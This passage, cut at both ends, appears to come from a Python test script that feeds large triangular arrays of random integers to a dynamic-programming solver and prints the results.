-31,71],[-21,-85,-55,26,-78,31,56,-33,-11,-18,-43,28,41,79,32,-25,31,86,-33,-23,84,-48,95,7,-72,-9,79,17,35,-74,-34,90,-83,10,17,-85,-58,-50,-18,7,9,15,-64,-73,-5,44,1,-74,30,68,-21,-9,96,-49,97,-76,42,54,17,-46,79,82,-79,72,-7,37,86,11,64,-55,94,-50,60,-70,-24,-45,74,53,-20,-19,-2,35,72,-6,86,69,-6,5,23,88,58,-21,70,55,-49,-60,-30,-62,27,-66,-41,22,-17,-81,51,35,-27,2,-35,29,83,63,-58,55,-66,-72,1,5,9,-98,-7,-56,-20,-60,98,8,-20,-32,22,-93,1,80,28,60,99,-43,-28,-51,35,37,55,-5,-23,73,-73,10,-99,28,91,-14,29,-16,29,85,24,27,-7,80,95,91,86,-27,72,-8,-89,48,25,-18,73,-63,95,5,32],[-28,-22,58,59,-45,-37,50,40,68,-88,-31,54,12,73,-76,-8,45,-84,-45,-82,87,23,-95,12,-52,-36,-15,-15,-41,90,93,8,-55,51,-33,0,91,93,-83,59,-95,-14,-10,16,-64,14,84,80,6,-60,74,-30,62,79,81,87,-80,-57,-51,-22,-90,-58,62,-45,69,-71,31,60,99,47,-3,-96,-90,86,-3,-55,-23,-19,-98,82,20,76,-48,-40,32,-67,-76,51,-47,-51,-94,-38,-10,68,-7,-64,73,-76,73,72,48,-30,76,57,-67,-27,79,10,30,80,-8,-72,56,21,-13,-35,30,-13,-84,82,35,-78,-78,-98,89,14,-63,39,15,86,12,-37,-67,-35,96,-34,14,75,75,-56,56,-56,-29,-11,64,34,31,-5,-79,46,-46,32,44,-25,33,10,66,47,-50,-42,33,38,20,66,-97,-7,-91,16,-31,60,36,-98,-96,-92],[-33,45,18,97,-83,39,21,-30,-52,-35,22,81,52,-35,28,78,22,-62,16,-58,80,18,11,88,-89,79,48,46,57,29,53,-75,-49,-51,98,-33,87,-4,13,-88,38,-88,92,-10,-24,-3,-32,97,35,83,-84,15,-22,27,-19,-12,6,-71,-66,-59,34,64,-58,84,-87,-60,-49,76,13,41,87,-49,52,57,17,-71,-46,84,-97,65,44,-81,-19,98,45,61,-14,-72,66,-4,-55,1,-63,-14,-15,-51,3,13,-98,-84,-46,89,-57,82,23,59,87,76,43,90,42,-36,85,99,-38,30,37,24,34,-20,96,79,80,-66,-35,-57,-18,44,32,-39,59,85,-73,-98,44,49,37,32,2,-43,-1,-79,20,-16,96,58,-86,33,-41,24,90,-44,-20,47,-11,22,89,47,-34,21,-92,-97,-17,-66,80,-95,59,18,36,-38,74,-65,-18,-5,18],[-21,-70,8,88,-11,-91,55,21,-11,3,-90,-89,-8,33,-24,90,18,-22,-50,28,-64,-46,-12,53,66,26,27,-99,-92,98,-5,-37,-94,79,-71,-29,88,83,91,-46,-14,77,-36,55,-13,16,22,-95,71,71,33,-93,-97,97,59,68,23,-37,46,7,-38,-59,70,-33,97,75,37,62,58,5,-84,-78,-41,-44,53,45,71,-25,50,42,-77,-17,48,-75,-20,-16,93,-97,47,39,9,85,56,-44,-48,30,-69,65,-8,66,-53,-16,64,5,39,17,-50,11,91,99,-47,-86,-41,78,-84,15,-38,-91,-6,85,24,-96,70,-43,-64,98,87,-56,63,-44,86,86,40,50,-9,-44,-33,41,66,-65,17,96,-75,76,51,-60,-32,-87,-75,62,75,25,65,45,82,77,44,46,97,-16,78,83,-29,-5,33,61,51,76,-21,17,-89,73,-10,-87,49,-59],[-48,-83,-69,-23,55,-94,78,20,50,37,-25,-6,-17,-28,78,-61,-44,-51,33,65,86,-39,42,-57,55,29,-84,-55,41,41,-14,93,34,-7,-53,-10,-2,-75,86,-75,62,-39,19,-78,10,-26,-63,65,-1,70,7,-38,-92,-51,4,62,55,19,-92,-4,-63,-30,-34,71,62,-11,-39,-63,-9,-53,-39,-70,-15,56,-72,94,-93,-35,36,-18,-88,-57,44,-81,-31,-75,58,-99,21,65,-27,57,-88,16,5,50,-95,65,86,-28,89,-76,-22,-26,57,6,-55,63,47,80,-77,35,99,66,30,-55,67,-12,-55,-12,-70,18,-77,-59,-66,27,90,-85,-30,53,-36,-41,54,41,9,11,-76,53,-49,47,10,-27,-18,-14,-84,89,31,60,-23,52,-75,7,-53,-53,24,-20,74,-8,-28,-79,-55,12,-21,98,-70,87,-14,-46,17,14,77,-96,63,-63,-11,56,-74],[96,16,-21,49,40,85,72,87,-13,-47,38,78,1,35,-77,89,-86,98,-81,77,-39,-51,-29,74,-73,-26,38,-37,39,-6,-35,36,86,43,-38,26,6,-66,-10,92,-37,-95,70,40,39,69,29,29,44,48,-17,-94,96,53,79,99,-73,-6,-61,43,64,3,-21,50,-76,17,-46,29,27,20,21,67,2,-32,7,-82,-63,-86,47,81,38,-70,63,11,83,19,11,86,-86,49,29,54,-70,84,-18,-47,-22,12,81,82,-68,-21,49,10,23,-67,28,36,-54,-25,-6,83,-19,-43,-5,-59,76,82,-95,66,8,10,20,37,-5,78,89,49,-10,47,31,-1,-97,-20,-91,25,-10,13,-38,35,64,55,-4,-54,89,67,-37,65,49,-33,31,-43,77,-72,71,-51,83,60,74,-50,-15,6,48,-36,62,34,89,-48,-53,-72,64,88,59,-63,-66,48,-96,-27],[-10,52,40,-79,85,-6,-74,56,19,85,-6,-7,-65,55,75,60,-81,15,-29,84,66,-6,-88,7,-18,71,43,-8,-4,46,65,86,-25,-18,83,-62,52,85,70,-29,70,-36,40,82,95,16,42,-85,-69,-87,98,73,-17,87,-42,65,58,-99,-43,-69,24,-78,-83,98,-20,-99,-87,-68,85,83,2,33,-76,-80,15,-80,12,-43,-89,42,-54,85,-8,28,72,49,-30,7,27,27,38,-49,25,54,-74,82,54,-61,-86,17,-78,-7,-50,-78,12,64,-59,-76,97,-72,42,-57,-86,-89,47,85,60,94,-7,-13,-2,-69,14,99,61,39,81,16,77,95,-90,75,-35,-41,97,53,-77,-85,53,96,-57,-5,-84,-67,-18,62,-82,-58,33,-13,5,-69,-6,95,-69,-44,35,-88,48,12,83,57,-35,-75,-84,-61,77,-85,-47,30,-89,-28,-98,-74,-19,-16,64,-1,2],[-2,62,84,5,-43,79,35,12,14,24,-63,-96,-16,93,-32,9,-91,6,-14,99,35,-83,-90,84,94,-65,-35,-22,75,40,80,-27,3,41,78,36,20,-10,-75,-65,-86,-39,-85,-2,-46,-41,83,-61,64,-31,-62,-24,-38,-76,-40,-43,-42,25,11,-90,-58,-32,-40,44,-91,-62,-43,29,4,-19,40,-5,18,54,69,71,-87,52,86,53,-79,-76,-71,-40,-53,-34,16,-19,67,-73,-9,-91,-28,50,30,-20,64,86,-91,-32,-55,48,39,62,-21,8,11,-9,-40,-3,-79,-19,21,-73,40,44,-8,-67,-74,-64,-64,-7,-79,7,-80,50,87,83,14,72,-72,35,-2,67,-26,76,-25,84,-55,35,-18,-35,92,79,-9,9,0,59,18,25,94,53,94,-84,-39,-86,42,-75,73,-67,96,-98,67,-6,45,-58,-52,96,-97,-8,31,-39,33,0,-60,-98,85,40,37,3],[-58,9,-43,-63,1,-6,-73,-57,18,-99,-47,-9,78,-80,62,23,-62,-90,19,-82,-22,-72,-22,87,4,18,88,-10,-65,26,92,-47,-88,-74,-34,12,19,-7,31,-86,-30,83,5,-52,80,-33,70,94,-47,-34,-88,30,-30,-10,17,74,84,-17,-59,-81,85,-67,-29,96,-41,14,8,54,-93,-61,68,-24,99,-50,0,79,-7,-53,73,45,12,62,-48,82,-48,68,33,-64,-72,73,-69,-87,82,-22,85,-59,91,-7,72,74,9,17,-73,-15,66,26,-36,-41,72,-86,-96,-15,52,-45,-56,-96,99,53,-84,-72,26,-77,-83,8,-22,-97,26,-31,-28,-25,-79,57,91,-53,-58,57,73,-18,-84,22,-27,95,83,-75,-73,-73,-94,-97,56,-79,-93,-18,-79,-76,67,-2,-97,-30,66,-26,44,63,-68,12,-89,-50,-31,60,32,-39,-18,-95,-67,-34,-71,-41,-31,-66,-62,-74,-68],[-55,-16,-48,-32,-72,49,-53,-3,-8,20,-82,-44,28,6,-57,78,74,-97,-13,-88,-39,-9,-79,26,-4,-21,72,30,-6,97,38,38,-19,89,82,-14,15,-71,82,-93,25,77,-61,-69,-17,-42,85,-65,-40,-28,-77,-2,62,-56,-76,-65,-1,95,64,92,69,2,30,-72,-32,-11,13,82,17,-28,66,-80,-51,81,-50,9,-60,-65,20,-24,-17,42,73,-78,85,74,-44,-38,46,-79,-46,16,-1,61,20,44,-50,-67,3,67,4,-54,63,30,-72,-87,-84,-56,-76,35,19,6,-46,-30,27,-83,-56,82,-22,89,79,8,-18,-44,-31,-98,99,19,-89,-21,-37,-8,25,-74,-78,29,-85,-86,72,-62,48,-32,43,78,37,-30,94,57,-71,-28,24,-91,80,82,-36,-51,84,-37,44,71,41,83,-37,-57,85,-16,71,99,-26,20,-63,-78,88,56,-99,2,-74,71,-40,-45,-56,60],[-37,-99,42,3,-74,3,42,70,-25,-40,30,37,3,16,98,-49,15,-28,71,29,-29,36,-15,-52,-62,-12,-81,-26,42,-38,-66,81,-61,76,-39,-35,-21,-97,-88,30,-38,41,-32,64,-66,-57,-84,49,14,63,-45,84,-1,39,-68,36,-73,-72,87,45,-34,-79,3,5,73,63,69,-70,65,80,59,-95,-2,-96,68,32,-54,60,-42,37,23,12,21,98,-72,30,35,-45,34,22,76,99,19,-20,4,-7,-80,-50,22,62,-93,-42,66,5,-38,11,-86,-16,-51,-29,-79,48,59,19,47,86,-74,-41,-82,59,80,94,58,-24,-49,-60,68,-30,-11,-33,-91,-4,2,74,-99,40,-37,-86,-76,11,-39,-78,-41,-80,40,82,-94,65,-59,-76,24,97,94,-41,-26,-55,-2,-81,-9,87,-37,0,-17,64,-26,-40,-19,13,-50,4,-76,-13,2,-40,6,-58,-58,-12,83,-17,11,7,-43],[5,43,30,26,-59,26,-82,-95,88,17,-36,29,67,0,86,-42,49,-33,-19,-64,69,17,18,-89,59,-93,94,-81,-6,-22,-25,76,-79,82,2,-61,-15,-4,-80,-27,89,-16,78,34,83,64,91,10,-92,-28,22,76,66,-59,87,25,-76,58,20,17,-64,71,-30,-66,30,72,-51,-85,-55,-32,-36,-65,28,-81,68,12,59,36,-78,67,84,20,43,50,60,30,-25,83,-12,71,-22,1,20,47,11,-50,-4,36,-35,41,80,28,52,9,24,-3,97,-17,-67,95,-50,-83,15,93,67,-24,0,-81,-64,65,90,13,-34,-13,-62,53,36,33,-11,-99,-49,-31,6,-97,54,-70,-1,51,12,31,46,39,25,-38,32,-8,14,-68,-13,26,96,-46,-60,-61,40,-46,68,-23,86,-66,-46,-62,-20,59,-83,-66,65,-7,62,-45,-76,8,93,25,46,2,-83,-63,33,4,63,7,57,79],[22,-25,-67,-9,51,-81,24,-95,-67,-96,41,-73,-85,-17,19,76,37,19,-39,7,-55,84,-91,-62,-79,42,18,83,-74,-47,62,47,27,71,-62,-22,67,39,-41,99,19,99,-97,10,-40,21,-14,96,-82,24,-19,-38,8,-11,-24,28,-92,94,-11,-67,-53,-72,57,50,99,94,-72,66,10,-37,42,-70,-37,45,39,22,-57,-97,-5,-63,3,75,-25,-89,-58,51,15,-51,22,80,-41,45,-91,-84,-5,84,86,-1,27,-3,61,-31,3,-99,90,-81,22,-89,97,94,-53,0,46,22,-13,87,-27,79,-86,71,59,-28,16,44,-36,-89,5,-50,9,-68,46,-53,1,-74,-52,-32,-78,46,-22,-81,40,2,-4,-36,-76,82,-49,-27,61,-59,-56,-2,12,59,-81,52,46,24,-97,-68,55,25,-22,-67,51,25,1,72,-28,78,67,88,-43,-37,-48,-20,-54,-20,29,83,20,72,-19,-90,8],[-23,61,-69,-99,40,-38,55,-34,17,88,93,-58,-34,42,-10,-79,9,-44,-22,72,7,57,94,63,-13,54,-39,-64,-87,-30,21,-11,-92,51,-11,25,-86,-79,90,7,85,60,48,-49,2,-84,-28,87,-29,49,36,54,-17,30,18,46,-38,78,82,-26,-75,3,62,-91,-69,-49,33,-79,-29,0,27,-43,-40,-47,-16,38,-32,55,26,15,-19,-38,-31,41,69,86,-13,-69,41,-54,-19,65,25,-57,51,56,-7,-16,76,40,84,4,73,-79,33,-42,59,-99,89,-15,15,-29,23,60,-88,-31,47,-25,-24,-35,21,56,-92,-54,98,58,78,-32,-58,55,85,-97,-64,58,-76,68,92,82,45,82,-56,-63,-70,43,96,-82,-87,20,-31,-35,85,89,-78,92,-87,96,50,90,-58,68,45,-73,48,57,61,71,25,31,30,-53,-10,73,-17,-4,-7,-20,13,-18,99,81,47,84,48,45,53,60],[18,-20,27,59,-51,-50,62,96,-93,1,44,9,-68,-26,55,-2,-76,-61,93,-7,-5,-17,75,-6,-59,22,-44,65,-33,85,25,61,-34,-70,21,-9,-21,-40,-36,-38,60,-92,70,68,-42,3,-57,-42,18,-64,50,-87,-5,25,-17,36,-76,38,1,-33,24,-96,-71,66,-90,26,-43,-12,85,20,26,23,4,-26,-32,38,76,11,72,-29,23,22,-17,95,-75,65,8,-52,-19,85,15,81,65,20,47,74,-54,80,-61,-92,-23,65,30,57,-61,75,-5,91,-14,-33,-38,85,65,44,80,89,-14,-35,-85,43,-49,6,24,-84,-74,-52,90,-52,-95,-94,-45,-19,70,85,-62,-91,60,9,99,-77,52,-39,84,-5,81,42,-39,-32,-93,-25,87,-66,57,12,-50,82,36,-83,-93,41,-78,-38,98,92,-53,-63,77,83,22,54,82,-48,-85,66,46,73,8,-93,-82,-8,-41,-95,25,-84,-7,51,75],[-70,67,81,47,66,-57,45,35,-34,58,-11,-74,-19,-57,-92,32,-65,51,-45,-92,-64,-39,-98,27,19,-94,-70,12,-24,80,-13,5,25,-55,-48,-9,-35,73,-97,30,32,-9,33,89,34,40,21,45,-32,75,52,4,-87,30,-92,9,35,-63,-79,-89,94,-16,-8,19,5,20,86,69,-6,65,-23,-97,-44,-90,91,66,26,12,11,94,-36,-60,-25,-47,69,-18,61,-18,-4,58,-31,-10,-58,61,85,47,-42,48,-7,51,13,69,53,68,55,44,12,-18,-67,99,-47,-27,-60,4,3,85,85,-36,-33,-42,-77,36,47,-59,-26,9,64,31,-43,-65,-40,69,-96,89,15,36,11,-96,-82,20,-97,-53,93,-81,50,-4,-95,12,36,-52,70,35,60,-6,53,-66,-96,-6,65,-63,28,-98,83,32,90,-25,-32,1,-22,-38,-78,-20,-15,91,-24,-88,-36,-20,23,99,4,-30,12,-35,64,-35,-2,44],[58,-60,80,-13,-82,63,95,-91,-62,-60,-14,-8,-22,-16,49,62,-25,-75,73,15,-19,-27,-8,84,43,-96,-51,-16,-32,24,-72,-97,40,84,-11,58,25,-39,66,39,0,-71,-68,77,13,80,16,87,81,-34,-20,-38,39,71,-54,-18,74,-28,65,-81,95,69,-79,35,53,-13,-30,-22,24,-64,94,-75,-35,-74,78,54,82,-5,18,63,60,97,-98,-24,68,-53,57,19,-5,-1,37,-10,-32,35,-97,98,-78,-28,-47,45,-15,-53,46,26,-28,2,-20,-69,73,97,70,10,95,71,86,40,-81,20,-40,-10,-80,96,80,-36,31,59,-38,29,-92,15,-48,-31,38,97,94,87,-24,-49,-82,-51,-51,88,59,-79,59,45,60,54,-58,96,-55,-39,93,-98,2,1,37,40,-92,44,-45,-41,90,70,-67,84,57,9,-87,74,57,-39,39,-7,-42,-1,-85,94,-70,-43,91,-26,-6,61,-48,95,-38,88,36],[-54,10,67,4,0,37,37,-39,-6,-77,-27,-54,56,10,84,-73,44,-17,-59,16,-10,-3,7,40,68,-55,92,63,6,57,-24,29,-56,-56,-67,20,57,46,58,-48,68,-92,-3,2,-5,-19,28,-61,41,45,54,-69,-57,-62,47,-89,-18,39,50,65,-26,-73,-6,-6,-53,3,-85,-96,-50,72,-45,94,56,28,-27,-49,86,-99,-33,4,46,97,11,65,-64,-42,52,-6,74,-21,-41,-75,5,29,18,51,-67,32,55,-18,-19,86,-47,-62,-8,26,-35,-45,26,31,58,-51,29,-54,90,41,3,42,-65,-46,-78,-29,-22,3,76,96,-45,-91,5,86,-33,86,49,20,-99,-82,-77,-35,-28,48,73,-93,74,-21,-48,64,96,55,-16,-92,-91,-18,-45,-36,84,-68,-40,-84,-60,64,78,-16,27,28,80,27,45,-97,69,94,27,19,-99,1,74,-47,-57,70,84,26,77,69,-92,-90,-67,68,-59,-8,84,-43],[-66,62,40,60,-33,20,-35,-87,22,-89,83,-50,29,83,27,-20,-64,46,-50,-80,-28,-96,66,-44,-87,98,-75,-47,-32,85,-13,1,47,-73,-62,-85,24,2,-96,-77,-11,86,-51,94,46,76,-26,82,22,23,78,71,4,44,-96,16,20,-95,46,87,66,-67,-35,14,-64,2,5,36,81,-15,59,-30,-52,-92,-58,93,60,15,52,-40,-61,8,-92,19,-71,87,-65,48,92,57,12,58,66,76,-51,-97,-44,30,38,-86,91,-26,-40,-61,-18,1,-90,-81,-83,61,-22,-68,-54,-38,50,-48,-50,61,76,-58,-4,-11,76,-38,-58,-97,-59,-26,32,56,-13,24,-70,24,39,-12,-75,48,7,-59,-13,61,-51,32,-76,75,60,-27,37,37,-9,-67,-97,-33,-29,-56,-54,-11,-5,78,-55,58,-21,-49,-18,-82,39,7,66,-77,24,-70,83,50,38,83,25,-1,-44,-38,-64,46,-29,-62,90,19,-42,-64,-92,52,90],[-71,11,-31,-21,69,-36,94,-24,-93,-83,77,-64,77,27,73,60,-48,-28,93,-9,-16,16,38,21,6,-66,79,19,-59,8,9,-54,95,55,25,65,-81,19,-59,-75,13,94,-63,-10,21,-90,-73,50,-41,-80,-82,42,36,55,-59,-81,66,96,37,-93,4,-53,-47,0,78,54,-35,96,-50,-18,97,62,-23,-66,-71,74,-80,-44,1,-45,-48,-5,74,87,-49,-85,83,-83,-89,20,99,-9,43,-71,67,21,82,-68,-6,-67,-9,-32,71,44,1,-99,-5,-2,-67,73,52,-16,-32,26,-51,18,17,-68,11,27,51,-12,95,-28,-7,62,92,-24,71,-36,-15,-38,31,-44,82,-90,-67,-23,7,-35,-50,-64,26,18,62,74,-87,-44,-94,1,83,33,65,55,-95,-42,17,74,10,-35,-85,94,3,45,-72,-15,31,-63,39,-62,-21,88,-26,-95,-17,-87,78,-27,-32,60,73,-72,-30,15,59,-25,72,-46,-74,-17,18,-60],[-46,-78,61,-42,-17,-7,-5,-78,7,50,87,57,54,-30,46,9,19,91,-31,-31,-81,38,83,55,89,33,-91,91,-84,26,-92,-54,24,69,4,-92,-61,75,-71,22,25,-84,-20,-21,-37,-97,64,58,93,-67,-72,89,47,-89,44,37,43,52,28,35,-22,36,81,79,-18,-38,86,-3,-86,91,-81,15,84,-25,70,-76,-22,34,81,-29,66,-91,-40,13,96,-96,-73,16,32,32,-71,-89,-32,86,66,26,-75,52,-77,-62,43,-59,52,4,-7,22,27,70,-44,9,-59,98,-6,-22,-12,-33,-42,15,83,90,-53,88,77,-9,74,43,-83,98,-28,-84,-87,91,-67,64,-4,25,-37,-77,-5,-5,8,13,-7,-97,67,80,-54,-75,-28,-94,91,-5,93,68,85,67,-12,78,42,59,93,54,51,-96,-5,-76,28,34,-54,-99,-71,31,-10,-2,10,-66,-21,55,-42,27,61,-73,-77,54,71,-92,-1,-40,63,-82,95,56,49],[46,59,-56,69,-35,55,92,-35,83,23,31,-18,-67,64,37,64,98,-36,25,-75,-14,-20,96,-29,55,-67,-66,72,-72,66,21,51,3,42,-3,67,-3,-34,-91,-43,88,39,15,97,-20,-48,39,-22,-7,-36,-20,55,20,-47,-74,-25,-38,-64,-52,-11,-97,45,-83,5,-13,14,-51,60,79,-43,-82,45,72,9,19,-48,61,-42,6,-69,22,62,62,-81,91,88,-6,-47,-99,18,19,-97,-60,35,-16,27,-51,32,-13,-94,88,-19,27,37,90,-54,65,28,4,-28,35,-97,-89,-3,97,-97,-38,-9,-45,-37,85,73,-58,-74,-14,26,29,11,-65,92,16,-76,-49,-57,37,-59,-34,3,45,46,51,-20,25,61,53,22,40,-84,90,95,-45,75,45,-4,77,-69,98,6,42,-66,-24,-65,-66,26,-45,70,66,20,-50,-12,-34,-99,44,67,39,-3,-11,-21,-11,-21,-49,20,-68,96,-83,-91,-96,91,-8,22,-98,67,57,-65],[-7,-88,82,-64,8,-91,23,50,-90,-56,17,25,40,82,-96,-93,-38,-45,26,-7,-72,19,-22,-69,-12,69,53,-11,13,-13,1,-94,-2,-17,-59,82,-9,40,9,-23,83,-74,78,1,84,82,7,-54,-86,-90,15,-59,29,93,-52,-83,39,-99,-18,-47,-13,82,-42,61,-58,-24,20,10,92,-71,86,76,-69,42,-46,-84,24,60,-62,14,46,53,54,-25,23,78,-32,-38,79,50,14,-57,9,49,-95,51,-98,1,-39,93,30,-76,69,60,65,-77,52,-34,59,90,79,6,20,10,57,-57,-11,-97,4,-55,29,95,-13,-62,44,-32,65,45,69,-74,15,-1,-50,-15,-64,91,-16,65,-42,-79,55,-63,26,-25,24,-40,17,-87,-61,97,-66,67,92,20,82,13,88,47,-65,34,73,50,-67,99,-88,-55,90,-28,-90,-52,-8,41,-38,94,92,85,-45,-14,74,-7,-16,-92,-62,-47,4,96,43,-31,43,77,-97,-7,4,-65,-31],[-8,-43,-63,64,-57,-39,-44,84,22,-49,53,-16,-18,-60,-65,51,0,-81,88,29,23,61,-28,91,-18,-73,94,51,7,-94,-79,99,-61,-66,63,-18,-6,-81,-57,93,-31,95,-46,50,-88,-11,2,11,-16,-33,-82,-93,-71,-11,75,-13,-8,46,-62,99,28,-42,98,67,-9,61,-74,62,56,-32,55,-97,-60,-91,29,-48,-26,-69,39,58,-25,56,41,-20,-77,16,66,-9,-61,-96,-10,67,-61,-35,34,6,-97,59,-32,59,-96,-77,61,-57,-91,-10,-29,-18,-2,87,-60,49,20,81,-94,42,-26,71,-89,13,51,0,-20,66,65,90,-27,44,49,17,3,29,40,-59,71,25,8,-80,-93,82,-93,-53,8,26,-95,13,-54,-22,-39,-44,90,-88,32,-30,78,-26,-40,-72,-81,85,44,-2,14,-39,16,-37,85,-99,-18,92,59,-35,-84,-33,67,-80,56,89,-26,-83,-78,-35,-72,54,11,82,-95,71,86,99,33,31,-25,-75,68,67]])) print(s.dp(t)) print(s.dp([[46],[43,61],[10,-16,3],[-26,41,36,-72],[-28,-76,-22,26,51],[56,-53,38,67,86,-45],[58,53,47,-52,-54,-95,56],[-54,-93,58,68,26,-4,-45,86],[75,28,27,12,33,98,35,87,1],[-13,20,25,-98,-13,11,-44,-77,-59,-97],[-53,-14,83,80,31,89,38,-1,15,-88,53],[-22,86,-41,-94,-25,68,-96,87,55,-18,-49,-25],[-93,-48,39,17,8,61,57,-13,-92,-79,-29,87,51],[-63,3,-72,29,-9,57,-93,-46,-84,88,29,83,69,-7],[15,-49,43,90,-43,94,29,50,-21,-33,-16,43,-26,4,90],[-61,-67,-96,18,-63,32,-91,93,16,-61,86,4,67,46,-27,-63],[-38,0,79,-48,56,51,80,-17,-70,-53,67,49,-3,-52,39,12,-43],[43,-93,-7,-48,91,-13,44,-69,-27,-74,74,95,-25,-88,-43,75,90,8],[8,41,-35,91,48,-12,35,-3,62,59,-86,-49,-83,56,-42,-14,84,-74,72],[6,-44,-78,31,-92,-82,-94,-81,-49,57,85,36,-34,4,77,-66,-71,-34,45,25],[-95,4,15,-45,-3,-52,-11,83,-67,15,32,38,47,54,-54,54,48,-72,72,75,85],[35,11,-72,-61,-11,-62,-33,31,82,68,35,-37,-16,66,37,31,-44,20,40,47,-71,-45],[-6,59,0,-51,7,5,97,-40,-10,32,70,-6,47,-41,31,-86,89,-10,59,1,29,-57,-32],[-34,73,0,62,-9,-53,91,45,17,50,-54,65,-65,50,40,-6,-83,-28,-59,-13,-80,0,94,-90],[-34,-39,68,67,89,-89,-88,-67,61,-12,71,-48,11,62,73,-72,-10,95,70,1,45,10,71,38,58],[-88,-98,54,-12,95,64,31,-44,9,-25,-77,20,-14,-45,-42,73,-74,-14,-16,65,-41,-12,-68,-45,-42,32],[76,44,-20,-8,3,-32,-7,-66,56,-11,97,-36,21,7,38,43,-96,-76,74,-62,73,-99,0,-66,42,58,21],[73,89,56,-18,43,0,61,-65,79,-71,27,-86,61,92,87,-98,-9,-29,39,-89,-49,39,85,-12,12,62,87,45],[4,23,-56,-46,12,99,35,-45,-24,-27,-34,-44,1,70,-54,-60,39,-67,-59,-70,-19,57,-59,31,-4,-97,96,85,64],[83,7,-55,-17,50,-2,72,49,-67,-96,-74,5,-30,-42,82,-60,3,98,78,12,-83,85,92,73,-97,24,-54,-95,20,-69],[45,-20,38,89,63,-12,-36,35,-85,-27,38,-83,77,84,-26,36,-99,53,12,56,-35,5,41,-42,-22,43,58,0,24,-45,31],[-31,34,-31,-65,-26,33,-2,85,24,70,1,40,24,-15,90,-63,-14,20,48,-81,85,-47,59,-80,7,-21,54,-92,-97,-91,15,-52],[19,60,-18,93,-30,79,55,94,49,-44,11,-27,18,-21,9,80,98,-65,98,60,-36,34,56,71,-87,10,55,-85,-5,-53,-38,-85,-93],[43,84,-47,-1,39,-53,-52,72,35,-3,-10,-86,82,-30,88,-83,-55,49,-19,78,5,-71,90,92,60,81,-13,-93,-80,1,89,39,-38,-81],[-62,-98,-57,-38,73,77,58,-60,67,40,-14,55,34,30,-19,91,-15,63,-80,-25,55,79,-67,-81,62,-71,-3,28,67,58,46,81,59,88,-57],[9,42,77,48,9,-6,-89,-58,-72,40,22,-81,-98,-15,-85,-24,-83,70,-15,-64,32,13,32,-63,-20,-10,60,-62,-73,48,-20,12,-9,-43,-62,76],[51,-52,-82,55,65,40,74,66,-98,88,-80,-81,59,4,-46,-32,94,62,5,-49,-48,-35,-11,-45,89,68,67,-43,-97,-95,-66,53,-71,-49,-15,93,67],[-41,37,69,-75,56,87,83,-63,-82,-49,-69,79,32,-18,-92,73,70,-37,63,15,-93,-80,17,87,-70,-53,-84,-42,32,86,-75,67,23,70,91,-44,34,51],[-8,51,79,23,7,11,81,-8,-38,28,31,-75,-57,37,-79,37,24,-72,60,16,-15,-31,-21,9,-63,-98,-43,-72,-43,90,79,49,19,58,-51,-74,-54,-93,-6],[7,34,-75,8,76,61,6,-10,-38,33,-49,55,-82,19,-66,3,32,-87,59,60,-31,27,16,94,-54,-49,-80,-52,-27,-74,42,80,59,66,-35,13,5,70,-97,43],[-20,-70,-25,-26,26,9,77,-42,21,13,94,66,-83,10,61,-38,37,57,-13,-89,83,-71,67,19,71,-91,-68,-47,79,-88,73,-41,-82,-52,33,43,56,-13,-98,-46,76],[72,-79,93,-17,58,-68,96,-8,18,-93,-25,23,50,71,-28,59,-97,1,15,90,-26,50,85,22,-17,28,-45,46,6,-14,0,-21,6,-30,38,-59,1,34,32,96,18,84],[-4,-32,55,67,-73,34,-54,18,2,19,-31,-13,-82,28,-85,-27,-25,-2,35,51,53,-59,-79,-9,-42,21,-98,66,-6,19,27,90,64,-18,34,67,93,79,-14,-5,-24,54,81],[-7,-18,72,42,33,-30,-23,-16,-77,-6,4,-10,28,-97,-8,-5,-4,-89,-78,-14,74,-19,97,42,-26,76,-72,68,-48,58,49,45,-60,-2,-36,73,68,41,-43,67,-65,38,-42,63],[40,49,-65,-64,36,-67,-1,-12,13,-4,-70,86,-51,-66,31,1,91,-43,-77,-69,55,-14,80,23,-96,-85,-33,-84,52,24,55,-8,-50,89,4,63,-78,79,-49,12,-25,-43,-25,24,-10],[-93,-98,-42,-37,-76,-35,-82,-14,-54,17,-10,-40,84,5,88,8,-40,-20,35,-74,60,-2,-76,40,48,35,91,-95,-89,-8,-29,93,-7,28,-44,-7,69,-26,79,91,67,-54,-72,51,27,-84],[-63,63,-28,71,65,-67,-54,88,49,93,1,40,74,-12,-90,-55,-19,2,49,13,72,-5,86,28,-13,31,73,14,-18,-23,30,18,-60,78,-34,-95,-89,11,69,36,4,-30,-23,-45,34,-14,-1],[-85,64,-75,28,13,20,-9,-59,83,-78,90,-3,-19,-33,-96,98,-17,59,-35,-36,69,75,-89,-17,-43,-43,36,11,91,98,87,82,62,88,-13,-24,-15,55,-7,-32,53,-16,42,-66,27,22,-67,87],[-19,-26,-49,-72,-51,-39,10,-18,18,-54,93,-14,-56,57,-32,82,45,55,-65,-69,-13,28,-25,-60,88,-83,-26,-8,16,6,-21,96,56,7,-99,81,67,10,-36,-38,32,-66,24,75,90,69,35,12,24],[69,19,-89,-26,71,-50,-61,87,0,31,-20,82,-90,-46,38,16,-46,20,-39,64,60,-1,-4,93,-99,-51,60,69,83,-51,-7,29,68,-20,80,39,6,-81,3,-93,49,60,65,36,-86,4,-71,-33,-99,-34],[-69,60,42,4,30,42,52,-10,11,12,15,80,-82,-17,-40,97,98,42,-83,-21,25,42,-61,-9,-45,-48,71,-16,18,71,26,26,31,-32,-93,-39,-90,35,27,20,-53,-58,0,-36,2,36,-61,-23,-44,-45,55],[80,73,93,-52,-71,-78,-81,12,17,66,-85,-80,-3,-17,-74,34,-8,60,-62,-87,83,-20,-11,-76,58,-74,-38,-65,-19,16,90,-62,-33,60,-37,-5,82,-42,83,-24,-75,97,-5,-2,-20,20,-67,72,-43,-30,61,-60],[26,-50,-37,-16,-25,25,19,32,-82,-14,70,-16,-54,-90,78,-95,-33,61,-20,-9,36,51,66,-84,-29,75,64,27,-55,25,43,48,52,-93,-91,-96,31,27,36,48,-87,-17,-90,-64,-8,87,-83,35,26,-3,-96,-38,-75],[69,-46,-27,44,95,76,65,20,20,13,-51,26,22,-47,-66,-74,88,58,-84,-52,67,-49,39,55,-33,-49,-42,40,-46,-4,42,-77,49,-85,66,44,90,32,-58,10,-78,-10,-87,20,42,-54,23,7,-95,38,54,48,65,-30],[3,-91,21,37,26,51,-67,-32,74,82,-18,17,3,-51,-74,44,36,-52,-88,25,44,30,48,-33,-62,29,81,68,-23,46,-61,80,32,36,17,-42,-13,27,2,-62,9,60,55,88,-91,80,10,21,-95,21,-53,26,-72,94,92],[-35,23,74,-89,99,-3,-74,56,-71,38,-49,-